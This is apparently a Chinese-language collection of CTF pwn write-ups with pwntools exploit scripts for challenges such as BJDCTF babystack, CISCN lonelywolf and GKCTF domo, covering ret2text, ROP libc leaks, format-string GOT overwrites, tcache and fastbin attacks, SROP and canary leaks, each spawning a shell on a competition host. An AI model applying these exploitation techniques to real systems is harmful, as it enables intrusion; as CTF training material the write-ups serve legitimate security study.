from pwn import * 
p = remote("1.14.71.254",28082)
p.sendline("tac$IFS$9flag")
print(p.recv())
p.interactive()

gift_pwn

题目考点

ret2text

exp

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("1.14.71.254",28077)

gift = 0x4005ba
payload = b'a'*0x10 + p64(0) + p64(gift)
p.sendline(payload)

p.interactive()

whitegive_pwn

题目考点

ret2text

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

#p = process("white_give")
p = remote("1.14.71.254",28052)
elf = ELF("white_give")
libc = ELF("libc-2.23.so")

pop_rdi = 0x0000000000400763
ret = 0x0000000000400509
binsh = 0x000000000018ce57
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x4006da

payload = b'a'*0x10 + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
success("libc:"+hex(libc_base))

system = libc_base + libc.sym['system']
payload2 = b'a'*0x10 + p64(0) +p64(ret)+ p64(pop_rdi) + p64(libc_base + binsh) + p64(system)
p.sendline(payload2)
p.interactive()

NSS_printer_I

题目考点

格式化字符串

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import * 

#p = process('printer1')
p = remote("1.14.71.254",28014)
elf = ELF("printer1")
libc = ELF("libc-2.23.so")
context(log_level='debug',arch='amd64',os='linux')
p.recvuntil("say: ")
p.sendline("%17$p%21$p")


p.recvuntil("0x")
elf_base = int(p.recv(12),16)-elf.sym['_start']
p.recvuntil("0x")
libc_base = int(p.recv(12),16)-0x20840
print(hex(elf_base))
print(hex(libc_base))

printf = elf_base+elf.got['printf']
system = libc_base+libc.sym['system']


payload = fmtstr_payload(6,{printf:system})
print(payload)

p.recvuntil("say: ")
p.sendline(payload)

p.interactive()

[2021 深育杯]find_flag

题目考点

1.格式化字符串
2.栈溢出

解题思路

利用格式化字符串漏洞得到程序基地址以及canary值,然后利用栈溢出调用后门

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

elf = ELF("find_flag")
#p = process("find_flag")
p = remote("1.14.71.254",28077)
p.recvuntil("name?")

p.sendline("aa%16$p..%17$p")
p.recvuntil("aa")

elf_base = int(p.recv(14),16)-0x1140
success("elf_base:"+hex(elf_base))
flag_addr = elf_base + 0x1228
p.recvuntil("..")
canary = int(p.recv(18),16)
success("canary:"+hex(canary))
p.recvuntil("? ")
payload = b'a'*0x38 + p64(canary) + p64(0)+p64(flag_addr)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

[2021 深育杯]create code

题目考点

1.堆溢出
2.tcache attack

解题思路

利用add函数中的溢出 用形如如下的构造来修改堆块的size,来泄露libc

1
2
3
4
5
add(0)
add(1)
add(2)
free(1)
add(1)

然后构造tcache attack 来劫持free_hook。
最后注意不能直接

1
2
add('/bin/sh\x00')
free()

来getshell,因为堆块在申请的时候会存在一个\x04
pic

所以只能通过溢出来修改其为/bin/sh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

libc = ELF("libc-2.31.so")
p = process("create_code")
#p = remote("1.14.71.254",28035)

def choice(choice):
p.recvuntil("> ")
p.sendline(str(choice))

def add(content):
choice(1)
p.recvuntil("content: ")
p.sendline(content)

def show(index):
choice(2)
p.recvuntil("id: ")
p.sendline(str(index))

def free(index):
choice(3)
p.recvuntil("id: ")
p.sendline(str(index))

add('a'*8) #0
add('a'*8) #1
add('a'*8) #2
add('a'*8) #3
add('a'*8) #4


free(0)
add(b'a'*0x328+p64(0x991)) #0
free(0)
add(b'a') #0
show(0)
p.recvuntil('\x7f')
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebbe0
success("libc:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add('a'*8)
add('a'*8)
free(2)
free(1)
free(0)
add(b'a'*0x328+p64(0x331)+p64(free_hook-0x10)) #0
add(b'a'*8)

free(1)
add(b'a'*0x328+p64(0x331)+b'/bin/sh\x00')
add(b'a'*0x10+p64(system))
add(b'a')
gdb.attach(p)
free(1)
p.interactive()

[CISCN 2019华南]PWN3

题目考点

srop

题目分析

见SROP例题部分

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * 

#p = process("ciscn_s_3")
p = remote("1.14.71.254",28101)
elf = ELF('ciscn_s_3')
context.arch = 'amd64'

main = elf.sym['main']
syscall_15 = 0x0000000004004DA
syscall = 0x000000000400517
p.sendline(b'a'*0x10+p64(main))
p.recvuntil(b'a'*0x10)
#gdb.attach(p)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("stack:"+hex(stack_addr))
bin_sh = stack_addr - 0x138
farme = SigreturnFrame()
farme.rax = 59
farme.rdi = bin_sh
farme.rip = syscall
farme.rsi = 0

payload = b'/bin/sh\x00'+p64(0)+p64(syscall_15)+p64(syscall)+bytes(farme)
p.sendline(payload)

p.interactive()

p.interactive()

[CISCN 2021] lonelywolf

题目考点

tcache attack

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

#p = process("lonelywolf")
p = remote("1.14.71.254",28134)
libc = ELF("libc-2.27.so")

def choice(choice):
p.recvuntil("choice: ")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil("Index: ")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil("Index: ")
p.sendline(str(index))

context.log_level = 'debug'

add(0,0x28)
free(0)
edit(0,p64(0)*2)
free(0)
#add(0,0x78)
show(0)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x260
success("heap:" + hex(heap_base))
edit(0,p64(heap_base+0x10))

add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
#gdb.attach(p)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
success("libc:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
#gdb.attach(p)
add(0,0x78)
free(0)
edit(0,p64(free_hook))
add(0,0x78)
add(0,0x78)
edit(0,p64(system))
add(0,0x78)
edit(0,b"/bin/sh\x00")
free(0)
#gdb.attach(p)

p.interactive()

[BJDCTF 2020]babystack2.0

题目考点

整数溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! /usr/bin/python3
from pwn import *

#p = process("bjdbabys")
p = remote("1.14.71.254" , 28006)

backdoor = 0x000000000400726
payload = b'a'*0x10+p64(0)+p64(backdoor)

p.recvuntil("name:")
p.sendline("4294967285")
p.recvuntil("name?")
#gdb.attach(p)
p.sendline(payload)


p.interactive()

[GFCTF 2021]where_is_shell

题目考点

栈溢出

解题思路

题目给出了提示 “代码段是有r权限的的,所以字符串可以在代码段上” ,因该是个ret2text , 但是却斌没有找到sh字符串,同时题目给出了一个tips,那么就需要到tips里面找字符串,最后在0x400541处找到了\x24\x30$0,我们直接system($0)就能拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
from pwn import *
#p = process("gfshell")

p = remote("1.14.71.254",28056)
elf = ELF("gfshell")

system = elf.plt['system']
tips = 0x400541
ret = 0x400416
pop_rdi = 0x4005e3

payload = b'a'*0x10+p64(0)+p64(ret)+p64(pop_rdi)+p64(tips)+p64(system)

p.recvuntil("it?")
p.sendline(payload)

p.interactive()

[GKCTF 2020]domo

题目考点

off by null
fastbin attack

题目分析

这道题打法很多,这里介绍一种最简单的打法,由于题目存在off by null 漏洞,我们可以利用其来构造堆重叠,然后就利用double free 来修改malloc_hook ,由于程序add edit free 功能都加入了检查,所以我们在修改后就不能使用,故可以利用scanf输入长度过长会触发malloc的特点来getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
#p = remote('1.14.71.254',28078)
p = process('./domo')
elf = ELF("./domo")
libc = ELF('./libc-2.23.so')
one = [0x45226,0x4527a,0xf02b4,0xf1247]



def chioce(idx):
p.sendlineafter("> ",str(idx))
def add(size,data):
chioce(1)
p.sendlineafter("\n",str(size))
p.sendafter("\n",data)

def free(index):
chioce(2)
p.sendlineafter("\n",str(index))

def edit(index, data):
chioce(4)
p.sendlineafter("\n",str(index))
p.sendafter("\n",data)

def show(index):
chioce(3)
p.recvuntil('\n')
p.sendline(str(index))


add(0xf0,b'0')
add(0x60,b'1')
add(0xf0,b'2')
add(0x10,b'3')

free(1)
free(0)

add(0x68,b'\x00'*0x60+p64(0x170)) #0

free(2)
add(0xf0,b'1')
show(1)
libc_base = u64(p.recvuntil('\x7f').ljust(8,b'\x00'))-0x3c4d31
success("libc: "+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + one[3]
add(0x60,b'2')
add(0x60,b'4')
free(0)
free(4)
free(2)
add(0x60,p64(malloc_hook-0x23))
add(0x60,b'2')
add(0x60,b'4')
add(0x60,b'a'*0x13+p64(one_gadget))
p.recvuntil('>')
p.sendline('1'*0x1001)



p.interactive()

[BJDCTF 2020]babystack

题目考点

ret2text

exp

1
2
3
4
5
6
7
8
9
10
#! /usr/bin/python3
from pwn import *
#p = process("ret2text")
p = remote("1.14.71.254",28071)
p.sendline('50')

p.sendline(b'a'*0x10+p64(0)+p64(0x4006e6))
p.interactive()


[SWPU 2019]login

题目考点

不在栈上的格式化字符串

解题思路

题目有两种思路,一种是通过间接修改got表,另一种是通过第一次输入作为system的参数然后控制程序执行流去执行

exp

我自己的exp当时本地打通了,远程打不通,后来发现是由于一次写入了多个字节导致写入失败,后面发现的时候找不到了这里就放一个网上的exp,转自https://www.cnblogs.com/zhuangzhouQAQ/p/15703975.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import time

p = process('./pwn1')
#p = remote('node4.buuoj.cn',26202)
libc = ELF('./libc-2.27-i386.so')
p.sendlineafter('name:','aa')
p.sendlineafter('password:','%15$p')

p.recvuntil('0x')
#10 14
__libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
system = libc_base + libc.sym['system']
print('system-->'+hex(system))

p.sendlineafter('Try again!','%6$p')
p.recvuntil('0x')
strack_addr0 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr0-->'+hex(strack_addr0))
#0xffda2994

p.sendlineafter('Try again!','%10$p')
p.recvuntil('0x')
strack_addr1 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr1-->'+hex(strack_addr1))
#0xffd2a9a4
#print_got 0x0804b014
cmd = 'b *0x08048575\n'#strack_addr1的值就是ebp第二的指针
#---------------将%14的偏移的地址处修改为print_got的地址----------
payload = '%'+str(0x14)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload) #14



payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1)

payload2 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #b0

payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3)

payload4 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #04

payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5)

payload6 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #08

#-------------------将%15的偏移处的地址覆盖为printf_got+1的地址-------------------------------
strack_addr1 = strack_addr1 + 4
payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1)

payload2 = '%'+str(0x15)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #15

payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3)

payload4 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #b0

payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5)

payload6 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #04

payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload7)

payload8 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload8) #08

#------------------修改为system的地址----------------------------

payload = '%'+str(system & 0xff)+'c'+'%14$hhn'

payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn'
print(hex(((system & 0xffff00)>>8)-0x10))
p.sendlineafter('Try again!\n',payload)

time.sleep(0.5)

p.sendline('/bin/sh')


gdb.attach(p,cmd)
p.interactive()

[watevrCTF 2019]Voting Machine 1

题目考点

栈溢出

exp

1
2
3
4
5
6
7
#! /usr/bin/python3

from pwn import *

p = remote("1.14.71.254", 28061)
p.sendline(b'a'*2 + p64(0) + p64(0x000000000400807))
p.interactive()

[watevrCTF 2019]Voting Machine 2

题目考点

格式化字符串任意内存覆盖

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

from pwn import *
#p = remote("1.14.71.254",28072)
p = process("Voting_Machine_2")
elf = ELF("Voting_Machine_2")

exit_got = elf.got['exit']
payload = b'AA' + fmtstr_payload(8,{exit_got:0x8420736},numbwritten=2)
print(payload)
#gdb.attach(p,'b *0x84208D9')
p.sendline(payload)

p.interactive()